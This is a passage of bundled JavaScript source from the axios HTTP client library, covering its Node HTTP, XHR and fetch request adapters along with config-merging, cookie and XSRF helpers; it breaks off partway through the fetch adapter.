const isHttpAdapterSupported = typeof process !== 'undefined' && utils$1.kindOf(process) === 'process';

// temporary hotfix

const wrapAsync = (asyncExecutor) => {
  return new Promise((resolve, reject) => {
    let onDone;
    let isDone;

    const done = (value, isRejected) => {
      if (isDone) return;
      isDone = true;
      onDone && onDone(value, isRejected);
    };

    const _resolve = (value) => {
      done(value);
      resolve(value);
    };

    const _reject = (reason) => {
      done(reason, true);
      reject(reason);
    };

    asyncExecutor(_resolve, _reject, (onDoneHandler) => (onDone = onDoneHandler)).catch(_reject);
  })
};

const resolveFamily = ({address, family}) => {
  if (!utils$1.isString(address)) {
    throw TypeError('address must be a string');
  }
  return ({
    address,
    family: family || (address.indexOf('.') < 0 ? 6 : 4)
  });
};

const buildAddressEntry = (address, family) => resolveFamily(utils$1.isObject(address) ? address : {address, family});

/*eslint consistent-return:0*/
const httpAdapter = isHttpAdapterSupported && function httpAdapter(config) {
  return wrapAsync(async function dispatchHttpRequest(resolve, reject, onDone) {
    let {data, lookup, family} = config;
    const {responseType, responseEncoding} = config;
    const method = config.method.toUpperCase();
    let isDone;
    let rejected = false;
    let req;

    if (lookup) {
      const _lookup = callbackify$1(lookup, (value) => utils$1.isArray(value) ? value : [value]);
      // hotfix to support opt.all option which is required for node 20.x
      lookup = (hostname, opt, cb) => {
        _lookup(hostname, opt, (err, arg0, arg1) => {
          if (err) {
            return cb(err);
          }

          const addresses = utils$1.isArray(arg0) ? arg0.map(addr => buildAddressEntry(addr)) : [buildAddressEntry(arg0, arg1)];

          opt.all ? cb(err, addresses) : cb(err, addresses[0].address, addresses[0].family);
        });
      };
    }

    // temporary internal emitter until the AxiosRequest class will be implemented
    const emitter = new events.EventEmitter();

    const onFinished = () => {
      if (config.cancelToken) {
        config.cancelToken.unsubscribe(abort);
      }

      if (config.signal) {
        config.signal.removeEventListener('abort', abort);
      }

      emitter.removeAllListeners();
    };

    onDone((value, isRejected) => {
      isDone = true;
      if (isRejected) {
        rejected = true;
        onFinished();
      }
    });

    function abort(reason) {
      emitter.emit('abort', !reason || reason.type ? new CanceledError(null, config, req) : reason);
    }

    emitter.once('abort', reject);

    if (config.cancelToken || config.signal) {
      config.cancelToken && config.cancelToken.subscribe(abort);
      if (config.signal) {
        config.signal.aborted ? abort() : config.signal.addEventListener('abort', abort);
      }
    }

    // Parse url
    const fullPath = buildFullPath(config.baseURL, config.url);
    const parsed = new URL(fullPath, 'http://localhost');
    const protocol = parsed.protocol || supportedProtocols[0];

    if (protocol === 'data:') {
      let convertedData;

      if (method !== 'GET') {
        return settle(resolve, reject, {
          status: 405,
          statusText: 'method not allowed',
          headers: {},
          config
        });
      }

      try {
        convertedData = fromDataURI(config.url, responseType === 'blob', {
          Blob: config.env && config.env.Blob
        });
      } catch (err) {
        throw AxiosError.from(err, AxiosError.ERR_BAD_REQUEST, config);
      }

      if (responseType === 'text') {
        convertedData = convertedData.toString(responseEncoding);

        if (!responseEncoding || responseEncoding === 'utf8') {
          convertedData = utils$1.stripBOM(convertedData);
        }
      } else if (responseType === 'stream') {
        convertedData = stream__default["default"].Readable.from(convertedData);
      }

      return settle(resolve, reject, {
        data: convertedData,
        status: 200,
        statusText: 'OK',
        headers: new AxiosHeaders$1(),
        config
      });
    }

    if (supportedProtocols.indexOf(protocol) === -1) {
      return reject(new AxiosError(
        'Unsupported protocol ' + protocol,
        AxiosError.ERR_BAD_REQUEST,
        config
      ));
    }

    const headers = AxiosHeaders$1.from(config.headers).normalize();

    // Set User-Agent (required by some servers)
    // See https://github.com/axios/axios/issues/69
    // User-Agent is specified; handle case where no UA header is desired
    // Only set header if it hasn't been set in config
    headers.set('User-Agent', 'axios/' + VERSION, false);

    const onDownloadProgress = config.onDownloadProgress;
    const onUploadProgress = config.onUploadProgress;
    const maxRate = config.maxRate;
    let maxUploadRate = undefined;
    let maxDownloadRate = undefined;

    // support for spec compliant FormData objects
    if (utils$1.isSpecCompliantForm(data)) {
      const userBoundary = headers.getContentType(/boundary=([-_\w\d]{10,70})/i);

      data = formDataToStream$1(data, (formHeaders) => {
        headers.set(formHeaders);
      }, {
        tag: `axios-${VERSION}-boundary`,
        boundary: userBoundary && userBoundary[1] || undefined
      });
      // support for https://www.npmjs.com/package/form-data api
    } else if (utils$1.isFormData(data) && utils$1.isFunction(data.getHeaders)) {
      headers.set(data.getHeaders());

      if (!headers.hasContentLength()) {
        try {
          const knownLength = await util__default["default"].promisify(data.getLength).call(data);
          Number.isFinite(knownLength) && knownLength >= 0 && headers.setContentLength(knownLength);
          /*eslint no-empty:0*/
        } catch (e) {
        }
      }
    } else if (utils$1.isBlob(data)) {
      data.size && headers.setContentType(data.type || 'application/octet-stream');
      headers.setContentLength(data.size || 0);
      data = stream__default["default"].Readable.from(readBlob$1(data));
    } else if (data && !utils$1.isStream(data)) {
      if (Buffer.isBuffer(data)) ; else if (utils$1.isArrayBuffer(data)) {
        data = Buffer.from(new Uint8Array(data));
      } else if (utils$1.isString(data)) {
        data = Buffer.from(data, 'utf-8');
      } else {
        return reject(new AxiosError(
          'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream',
          AxiosError.ERR_BAD_REQUEST,
          config
        ));
      }

      // Add Content-Length header if data exists
      headers.setContentLength(data.length, false);

      if (config.maxBodyLength > -1 && data.length > config.maxBodyLength) {
        return reject(new AxiosError(
          'Request body larger than maxBodyLength limit',
          AxiosError.ERR_BAD_REQUEST,
          config
        ));
      }
    }

    const contentLength = utils$1.toFiniteNumber(headers.getContentLength());

    if (utils$1.isArray(maxRate)) {
      maxUploadRate = maxRate[0];
      maxDownloadRate = maxRate[1];
    } else {
      maxUploadRate = maxDownloadRate = maxRate;
    }

    if (data && (onUploadProgress || maxUploadRate)) {
      if (!utils$1.isStream(data)) {
        data = stream__default["default"].Readable.from(data, {objectMode: false});
      }

      data = stream__default["default"].pipeline([data, new AxiosTransformStream$1({
        length: contentLength,
        maxRate: utils$1.toFiniteNumber(maxUploadRate)
      })], utils$1.noop);

      onUploadProgress && data.on('progress', progress => {
        onUploadProgress(Object.assign(progress, {
          upload: true
        }));
      });
    }

    // HTTP basic authentication
    let auth = undefined;
    if (config.auth) {
      const username = config.auth.username || '';
      const password = config.auth.password || '';
      auth = username + ':' + password;
    }

    if (!auth && parsed.username) {
      const urlUsername = parsed.username;
      const urlPassword = parsed.password;
      auth = urlUsername + ':' + urlPassword;
    }

    auth && headers.delete('authorization');

    let path;

    try {
      path = buildURL(
        parsed.pathname + parsed.search,
        config.params,
        config.paramsSerializer
      ).replace(/^\?/, '');
    } catch (err) {
      const customErr = new Error(err.message);
      customErr.config = config;
      customErr.url = config.url;
      customErr.exists = true;
      return reject(customErr);
    }

    headers.set(
      'Accept-Encoding',
      'gzip, compress, deflate' + (isBrotliSupported ? ', br' : ''), false
      );

    const options = {
      path,
      method: method,
      headers: headers.toJSON(),
      agents: { http: config.httpAgent, https: config.httpsAgent },
      auth,
      protocol,
      family,
      beforeRedirect: dispatchBeforeRedirect,
      beforeRedirects: {}
    };

    // cacheable-lookup integration hotfix
    !utils$1.isUndefined(lookup) && (options.lookup = lookup);

    if (config.socketPath) {
      options.socketPath = config.socketPath;
    } else {
      options.hostname = parsed.hostname;
      options.port = parsed.port;
      setProxy(options, config.proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path);
    }

    let transport;
    const isHttpsRequest = isHttps.test(options.protocol);
    options.agent = isHttpsRequest ? config.httpsAgent : config.httpAgent;
    if (config.transport) {
      transport = config.transport;
    } else if (config.maxRedirects === 0) {
      transport = isHttpsRequest ? https__default["default"] : http__default["default"];
    } else {
      if (config.maxRedirects) {
        options.maxRedirects = config.maxRedirects;
      }
      if (config.beforeRedirect) {
        options.beforeRedirects.config = config.beforeRedirect;
      }
      transport = isHttpsRequest ? httpsFollow : httpFollow;
    }

    if (config.maxBodyLength > -1) {
      options.maxBodyLength = config.maxBodyLength;
    } else {
      // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
      options.maxBodyLength = Infinity;
    }

    if (config.insecureHTTPParser) {
      options.insecureHTTPParser = config.insecureHTTPParser;
    }

    // Create the request
    req = transport.request(options, function handleResponse(res) {
      if (req.destroyed) return;

      const streams = [res];

      const responseLength = +res.headers['content-length'];

      if (onDownloadProgress) {
        const transformStream = new AxiosTransformStream$1({
          length: utils$1.toFiniteNumber(responseLength),
          maxRate: utils$1.toFiniteNumber(maxDownloadRate)
        });

        onDownloadProgress && transformStream.on('progress', progress => {
          onDownloadProgress(Object.assign(progress, {
            download: true
          }));
        });

        streams.push(transformStream);
      }

      // decompress the response body transparently if required
      let responseStream = res;

      // return the last request in case of redirects
      const lastRequest = res.req || req;

      // if decompress disabled we should not decompress
      if (config.decompress !== false && res.headers['content-encoding']) {
        // if no content, but headers still say that it is encoded,
        // remove the header not confuse downstream operations
        if (method === 'HEAD' || res.statusCode === 204) {
          delete res.headers['content-encoding'];
        }

        switch ((res.headers['content-encoding'] || '').toLowerCase()) {
        /*eslint default-case:0*/
        case 'gzip':
        case 'x-gzip':
        case 'compress':
        case 'x-compress':
          // add the unzipper to the body stream processing pipeline
          streams.push(zlib__default["default"].createUnzip(zlibOptions));

          // remove the content-encoding in order to not confuse downstream operations
          delete res.headers['content-encoding'];
          break;
        case 'deflate':
          streams.push(new ZlibHeaderTransformStream$1());

          // add the unzipper to the body stream processing pipeline
          streams.push(zlib__default["default"].createUnzip(zlibOptions));

          // remove the content-encoding in order to not confuse downstream operations
          delete res.headers['content-encoding'];
          break;
        case 'br':
          if (isBrotliSupported) {
            streams.push(zlib__default["default"].createBrotliDecompress(brotliOptions));
            delete res.headers['content-encoding'];
          }
        }
      }

      responseStream = streams.length > 1 ? stream__default["default"].pipeline(streams, utils$1.noop) : streams[0];

      const offListeners = stream__default["default"].finished(responseStream, () => {
        offListeners();
        onFinished();
      });

      const response = {
        status: res.statusCode,
        statusText: res.statusMessage,
        headers: new AxiosHeaders$1(res.headers),
        config,
        request: lastRequest
      };

      if (responseType === 'stream') {
        response.data = responseStream;
        settle(resolve, reject, response);
      } else {
        const responseBuffer = [];
        let totalResponseBytes = 0;

        responseStream.on('data', function handleStreamData(chunk) {
          responseBuffer.push(chunk);
          totalResponseBytes += chunk.length;

          // make sure the content length is not over the maxContentLength if specified
          if (config.maxContentLength > -1 && totalResponseBytes > config.maxContentLength) {
            // stream.destroy() emit aborted event before calling reject() on Node.js v16
            rejected = true;
            responseStream.destroy();
            reject(new AxiosError('maxContentLength size of ' + config.maxContentLength + ' exceeded',
              AxiosError.ERR_BAD_RESPONSE, config, lastRequest));
          }
        });

        responseStream.on('aborted', function handlerStreamAborted() {
          if (rejected) {
            return;
          }

          const err = new AxiosError(
            'maxContentLength size of ' + config.maxContentLength + ' exceeded',
            AxiosError.ERR_BAD_RESPONSE,
            config,
            lastRequest
          );
          responseStream.destroy(err);
          reject(err);
        });

        responseStream.on('error', function handleStreamError(err) {
          if (req.destroyed) return;
          reject(AxiosError.from(err, null, config, lastRequest));
        });

        responseStream.on('end', function handleStreamEnd() {
          try {
            let responseData = responseBuffer.length === 1 ? responseBuffer[0] : Buffer.concat(responseBuffer);
            if (responseType !== 'arraybuffer') {
              responseData = responseData.toString(responseEncoding);
              if (!responseEncoding || responseEncoding === 'utf8') {
                responseData = utils$1.stripBOM(responseData);
              }
            }
            response.data = responseData;
          } catch (err) {
            return reject(AxiosError.from(err, null, config, response.request, response));
          }
          settle(resolve, reject, response);
        });
      }

      emitter.once('abort', err => {
        if (!responseStream.destroyed) {
          responseStream.emit('error', err);
          responseStream.destroy();
        }
      });
    });

    emitter.once('abort', err => {
      reject(err);
      req.destroy(err);
    });

    // Handle errors
    req.on('error', function handleRequestError(err) {
      // @todo remove
      // if (req.aborted && err.code !== AxiosError.ERR_FR_TOO_MANY_REDIRECTS) return;
      reject(AxiosError.from(err, null, config, req));
    });

    // set tcp keep alive to prevent drop connection by peer
    req.on('socket', function handleRequestSocket(socket) {
      // default interval of sending ack packet is 1 minute
      socket.setKeepAlive(true, 1000 * 60);
    });

    // Handle request timeout
    if (config.timeout) {
      // This is forcing a int timeout to avoid problems if the `req` interface doesn't handle other types.
      const timeout = parseInt(config.timeout, 10);

      if (Number.isNaN(timeout)) {
        reject(new AxiosError(
          'error trying to parse `config.timeout` to int',
          AxiosError.ERR_BAD_OPTION_VALUE,
          config,
          req
        ));

        return;
      }

      // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system.
      // And timer callback will be fired, and abort() will be invoked before connection, then get "socket hang up" and code ECONNRESET.
      // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up.
      // And then these socket which be hang up will devouring CPU little by little.
      // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect.
      req.setTimeout(timeout, function handleRequestTimeout() {
        if (isDone) return;
        let timeoutErrorMessage = config.timeout ? 'timeout of ' + config.timeout + 'ms exceeded' : 'timeout exceeded';
        const transitional = config.transitional || transitionalDefaults;
        if (config.timeoutErrorMessage) {
          timeoutErrorMessage = config.timeoutErrorMessage;
        }
        reject(new AxiosError(
          timeoutErrorMessage,
          transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,
          config,
          req
        ));
        abort();
      });
    }


    // Send the request
    if (utils$1.isStream(data)) {
      let ended = false;
      let errored = false;

      data.on('end', () => {
        ended = true;
      });

      data.once('error', err => {
        errored = true;
        req.destroy(err);
      });

      data.on('close', () => {
        if (!ended && !errored) {
          abort(new CanceledError('Request stream has been aborted', config, req));
        }
      });

      data.pipe(req);
    } else {
      req.end(data);
    }
  });
};

const progressEventReducer = (listener, isDownloadStream, freq = 3) => {
  let bytesNotified = 0;
  const _speedometer = speedometer(50, 250);

  return throttle(e => {
    const loaded = e.loaded;
    const total = e.lengthComputable ? e.total : undefined;
    const progressBytes = loaded - bytesNotified;
    const rate = _speedometer(progressBytes);
    const inRange = loaded <= total;

    bytesNotified = loaded;

    const data = {
      loaded,
      total,
      progress: total ? (loaded / total) : undefined,
      bytes: progressBytes,
      rate: rate ? rate : undefined,
      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,
      event: e,
      lengthComputable: total != null
    };

    data[isDownloadStream ? 'download' : 'upload'] = true;

    listener(data);
  }, freq);
};

const isURLSameOrigin = platform.hasStandardBrowserEnv ?

// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
  (function standardBrowserEnv() {
    const msie = /(msie|trident)/i.test(navigator.userAgent);
    const urlParsingNode = document.createElement('a');
    let originURL;

    /**
    * Parse a URL to discover its components
    *
    * @param {String} url The URL to be parsed
    * @returns {Object}
    */
    function resolveURL(url) {
      let href = url;

      if (msie) {
        // IE needs attribute set twice to normalize properties
        urlParsingNode.setAttribute('href', href);
        href = urlParsingNode.href;
      }

      urlParsingNode.setAttribute('href', href);

      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
      return {
        href: urlParsingNode.href,
        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
        host: urlParsingNode.host,
        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
        hostname: urlParsingNode.hostname,
        port: urlParsingNode.port,
        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
          urlParsingNode.pathname :
          '/' + urlParsingNode.pathname
      };
    }

    originURL = resolveURL(window.location.href);

    /**
    * Determine if a URL shares the same origin as the current location
    *
    * @param {String} requestURL The URL to test
    * @returns {boolean} True if URL shares the same origin, otherwise false
    */
    return function isURLSameOrigin(requestURL) {
      const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
      return (parsed.protocol === originURL.protocol &&
          parsed.host === originURL.host);
    };
  })() :

  // Non standard browser envs (web workers, react-native) lack needed support.
  (function nonStandardBrowserEnv() {
    return function isURLSameOrigin() {
      return true;
    };
  })();

const cookies = platform.hasStandardBrowserEnv ?

  // Standard browser envs support document.cookie
  {
    write(name, value, expires, path, domain, secure) {
      const cookie = [name + '=' + encodeURIComponent(value)];

      utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());

      utils$1.isString(path) && cookie.push('path=' + path);

      utils$1.isString(domain) && cookie.push('domain=' + domain);

      secure === true && cookie.push('secure');

      document.cookie = cookie.join('; ');
    },

    read(name) {
      const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
      return (match ? decodeURIComponent(match[3]) : null);
    },

    remove(name) {
      this.write(name, '', Date.now() - 86400000);
    }
  }

  :

  // Non-standard browser env (web workers, react-native) lack needed support.
  {
    write() {},
    read() {
      return null;
    },
    remove() {}
  };

const headersToObject = (thing) => thing instanceof AxiosHeaders$1 ? { ...thing } : thing;

/**
 * Config-specific merge-function which creates a new config-object
 * by merging two configuration objects together.
 *
 * @param {Object} config1
 * @param {Object} config2
 *
 * @returns {Object} New object resulting from merging config2 to config1
 */
function mergeConfig(config1, config2) {
  // eslint-disable-next-line no-param-reassign
  config2 = config2 || {};
  const config = {};

  function getMergedValue(target, source, caseless) {
    if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) {
      return utils$1.merge.call({caseless}, target, source);
    } else if (utils$1.isPlainObject(source)) {
      return utils$1.merge({}, source);
    } else if (utils$1.isArray(source)) {
      return source.slice();
    }
    return source;
  }

  // eslint-disable-next-line consistent-return
  function mergeDeepProperties(a, b, caseless) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(a, b, caseless);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a, caseless);
    }
  }

  // eslint-disable-next-line consistent-return
  function valueFromConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    }
  }

  // eslint-disable-next-line consistent-return
  function defaultToConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a);
    }
  }

  // eslint-disable-next-line consistent-return
  function mergeDirectKeys(a, b, prop) {
    if (prop in config2) {
      return getMergedValue(a, b);
    } else if (prop in config1) {
      return getMergedValue(undefined, a);
    }
  }

  const mergeMap = {
    url: valueFromConfig2,
    method: valueFromConfig2,
    data: valueFromConfig2,
    baseURL: defaultToConfig2,
    transformRequest: defaultToConfig2,
    transformResponse: defaultToConfig2,
    paramsSerializer: defaultToConfig2,
    timeout: defaultToConfig2,
    timeoutMessage: defaultToConfig2,
    withCredentials: defaultToConfig2,
    withXSRFToken: defaultToConfig2,
    adapter: defaultToConfig2,
    responseType: defaultToConfig2,
    xsrfCookieName: defaultToConfig2,
    xsrfHeaderName: defaultToConfig2,
    onUploadProgress: defaultToConfig2,
    onDownloadProgress: defaultToConfig2,
    decompress: defaultToConfig2,
    maxContentLength: defaultToConfig2,
    maxBodyLength: defaultToConfig2,
    beforeRedirect: defaultToConfig2,
    transport: defaultToConfig2,
    httpAgent: defaultToConfig2,
    httpsAgent: defaultToConfig2,
    cancelToken: defaultToConfig2,
    socketPath: defaultToConfig2,
    responseEncoding: defaultToConfig2,
    validateStatus: mergeDirectKeys,
    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)
  };

  utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {
    const merge = mergeMap[prop] || mergeDeepProperties;
    const configValue = merge(config1[prop], config2[prop], prop);
    (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
  });

  return config;
}

const resolveConfig = (config) => {
  const newConfig = mergeConfig({}, config);

  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;

  newConfig.headers = headers = AxiosHeaders$1.from(headers);

  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);

  // HTTP basic authentication
  if (auth) {
    headers.set('Authorization', 'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))
    );
  }

  let contentType;

  if (utils$1.isFormData(data)) {
    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {
      headers.setContentType(undefined); // Let the browser set it
    } else if ((contentType = headers.getContentType()) !== false) {
      // fix semicolon duplication issue for ReactNative FormData implementation
      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];
      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));
    }
  }

  // Add xsrf header
  // This is only done if running in a standard browser environment.
  // Specifically not if we're in a web worker, or react-native.

  if (platform.hasStandardBrowserEnv) {
    withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
      // Add xsrf header
      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

      if (xsrfValue) {
        headers.set(xsrfHeaderName, xsrfValue);
      }
    }
  }

  return newConfig;
};

const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';

const xhrAdapter = isXHRAdapterSupported && function (config) {
  return new Promise(function dispatchXhrRequest(resolve, reject) {
    const _config = resolveConfig(config);
    let requestData = _config.data;
    const requestHeaders = AxiosHeaders$1.from(_config.headers).normalize();
    let {responseType} = _config;
    let onCanceled;
    function done() {
      if (_config.cancelToken) {
        _config.cancelToken.unsubscribe(onCanceled);
      }

      if (_config.signal) {
        _config.signal.removeEventListener('abort', onCanceled);
      }
    }

    let request = new XMLHttpRequest();

    request.open(_config.method.toUpperCase(), _config.url, true);

    // Set the request timeout in MS
    request.timeout = _config.timeout;

    function onloadend() {
      if (!request) {
        return;
      }
      // Prepare the response
      const responseHeaders = AxiosHeaders$1.from(
        'getAllResponseHeaders' in request && request.getAllResponseHeaders()
      );
      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?
        request.responseText : request.response;
      const response = {
        data: responseData,
        status: request.status,
        statusText: request.statusText,
        headers: responseHeaders,
        config,
        request
      };

      settle(function _resolve(value) {
        resolve(value);
        done();
      }, function _reject(err) {
        reject(err);
        done();
      }, response);

      // Clean up request
      request = null;
    }

    if ('onloadend' in request) {
      // Use onloadend if available
      request.onloadend = onloadend;
    } else {
      // Listen for ready state to emulate onloadend
      request.onreadystatechange = function handleLoad() {
        if (!request || request.readyState !== 4) {
          return;
        }

        // The request errored out and we didn't get a response, this will be
        // handled by onerror instead
        // With one exception: request that using file: protocol, most browsers
        // will return status as 0 even though it's a successful request
        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
          return;
        }
        // readystate handler is calling before onerror or ontimeout handlers,
        // so we should call onloadend on the next 'tick'
        setTimeout(onloadend);
      };
    }

    // Handle browser request cancellation (as opposed to a manual cancellation)
    request.onabort = function handleAbort() {
      if (!request) {
        return;
      }

      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));

      // Clean up request
      request = null;
    };

    // Handle low level network errors
    request.onerror = function handleError() {
      // Real errors are hidden from us by the browser
      // onerror should only fire if it's a network error
      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));

      // Clean up request
      request = null;
    };

    // Handle timeout
    request.ontimeout = function handleTimeout() {
      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';
      const transitional = _config.transitional || transitionalDefaults;
      if (_config.timeoutErrorMessage) {
        timeoutErrorMessage = _config.timeoutErrorMessage;
      }
      reject(new AxiosError(
        timeoutErrorMessage,
        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,
        _config,
        request));

      // Clean up request
      request = null;
    };

    // Remove Content-Type if data is undefined
    requestData === undefined && requestHeaders.setContentType(null);

    // Add headers to the request
    if ('setRequestHeader' in request) {
      utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {
        request.setRequestHeader(key, val);
      });
    }

    // Add withCredentials to request if needed
    if (!utils$1.isUndefined(_config.withCredentials)) {
      request.withCredentials = !!_config.withCredentials;
    }

    // Add responseType to request if needed
    if (responseType && responseType !== 'json') {
      request.responseType = _config.responseType;
    }

    // Handle progress if needed
    if (typeof _config.onDownloadProgress === 'function') {
      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));
    }

    // Not all browsers support upload events
    if (typeof _config.onUploadProgress === 'function' && request.upload) {
      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));
    }

    if (_config.cancelToken || _config.signal) {
      // Handle cancellation
      // eslint-disable-next-line func-names
      onCanceled = cancel => {
        if (!request) {
          return;
        }
        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);
        request.abort();
        request = null;
      };

      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);
      if (_config.signal) {
        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);
      }
    }

    const protocol = parseProtocol(_config.url);

    if (protocol && platform.protocols.indexOf(protocol) === -1) {
      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));
      return;
    }


    // Send the request
    request.send(requestData || null);
  });
};

const composeSignals = (signals, timeout) => {
  let controller = new AbortController();

  let aborted;

  const onabort = function (cancel) {
    if (!aborted) {
      aborted = true;
      unsubscribe();
      const err = cancel instanceof Error ? cancel : this.reason;
      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));
    }
  };

  let timer = timeout && setTimeout(() => {
    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT));
  }, timeout);

  const unsubscribe = () => {
    if (signals) {
      timer && clearTimeout(timer);
      timer = null;
      signals.forEach(signal => {
        signal &&
        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));
      });
      signals = null;
    }
  };

  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));

  const {signal} = controller;

  signal.unsubscribe = unsubscribe;

  return [signal, () => {
    timer && clearTimeout(timer);
    timer = null;
  }];
};

const composeSignals$1 = composeSignals;

const streamChunk = function* (chunk, chunkSize) {
  let len = chunk.byteLength;

  if (!chunkSize || len < chunkSize) {
    yield chunk;
    return;
  }

  let pos = 0;
  let end;

  while (pos < len) {
    end = pos + chunkSize;
    yield chunk.slice(pos, end);
    pos = end;
  }
};

const readBytes = async function* (iterable, chunkSize, encode) {
  for await (const chunk of iterable) {
    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);
  }
};

const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {
  const iterator = readBytes(stream, chunkSize, encode);

  let bytes = 0;

  return new ReadableStream({
    type: 'bytes',

    async pull(controller) {
      const {done, value} = await iterator.next();

      if (done) {
        controller.close();
        onFinish();
        return;
      }

      let len = value.byteLength;
      onProgress && onProgress(bytes += len);
      controller.enqueue(new Uint8Array(value));
    },
    cancel(reason) {
      onFinish(reason);
      return iterator.return();
    }
  }, {
    highWaterMark: 2
  })
};

const fetchProgressDecorator = (total, fn) => {
  const lengthComputable = total != null;
  return (loaded) => setTimeout(() => fn({
    lengthComputable,
    total,
    loaded
  }));
};

const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';
const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';

// used only inside the fetch adapter
const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?
    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :
    async (str) => new Uint8Array(await new Response(str).arrayBuffer())
);

const supportsRequestStream = isReadableStreamSupported && (() => {
  let duplexAccessed = false;

  const hasContentType = new Request(platform.origin, {
    body: new ReadableStream(),
    method: 'POST',
    get duplex() {
      duplexAccessed = true;
      return 'half';
    },
  }).headers.has('Content-Type');

  return duplexAccessed && !hasContentType;
})();

const DEFAULT_CHUNK_SIZE = 64 * 1024;

const supportsResponseStream = isReadableStreamSupported && !!(()=> {
  try {
    return utils$1.isReadableStream(new Response('').body);
  } catch(err) {
    // return undefined
  }
})();

const resolvers = {
  stream: supportsResponseStream && ((res) => res.body)
};

isFetchSupported && (((res) => {
  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {
    !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() :
      (_, config) => {
        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);
      });
  });
})(new Response));

const getBodyLength = async (body) => {
  if (body == null) {
    return 0;
  }

  if(utils$1.isBlob(body)) {
    return body.size;
  }

  if(utils$1.isSpecCompliantForm(body)) {
    return (await new Request(body).arrayBuffer()).byteLength;
  }

  if(utils$1.isArrayBufferView(body)) {
    return body.byteLength;
  }

  if(utils$1.isURLSearchParams(body)) {
    body = body + '';
  }

  if(utils$1.isString(body)) {
    return (await encodeText(body)).byteLength;
  }
};

const resolveBodyLength = async (headers, body) => {
  const length = utils$1.toFiniteNumber(headers.getContentLength());

  return length == null ? getBodyLength(body) : length;
};

const fetchAdapter = isFetchSupported && (async (config) => {
  let {
    url,
    method,
    data,
    signal,
    cancelToken,
    timeout,
    onDownloadProgress,
    onUploadProgress,
    responseType,
    headers,
    withCredentials = 'same-origin',
    fetchOptions
  } = resolveConfig(config);

  responseType = responseType ? (responseType + '').toLowerCase() : 'text';

  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?
    composeSignals$1([signal, cancelToken], timeout) : [];

  let finished, request;

  const onFinish = () => {
    !finished && setTimeout(() => {
      composedSignal && composedSignal.unsubscribe();
    });

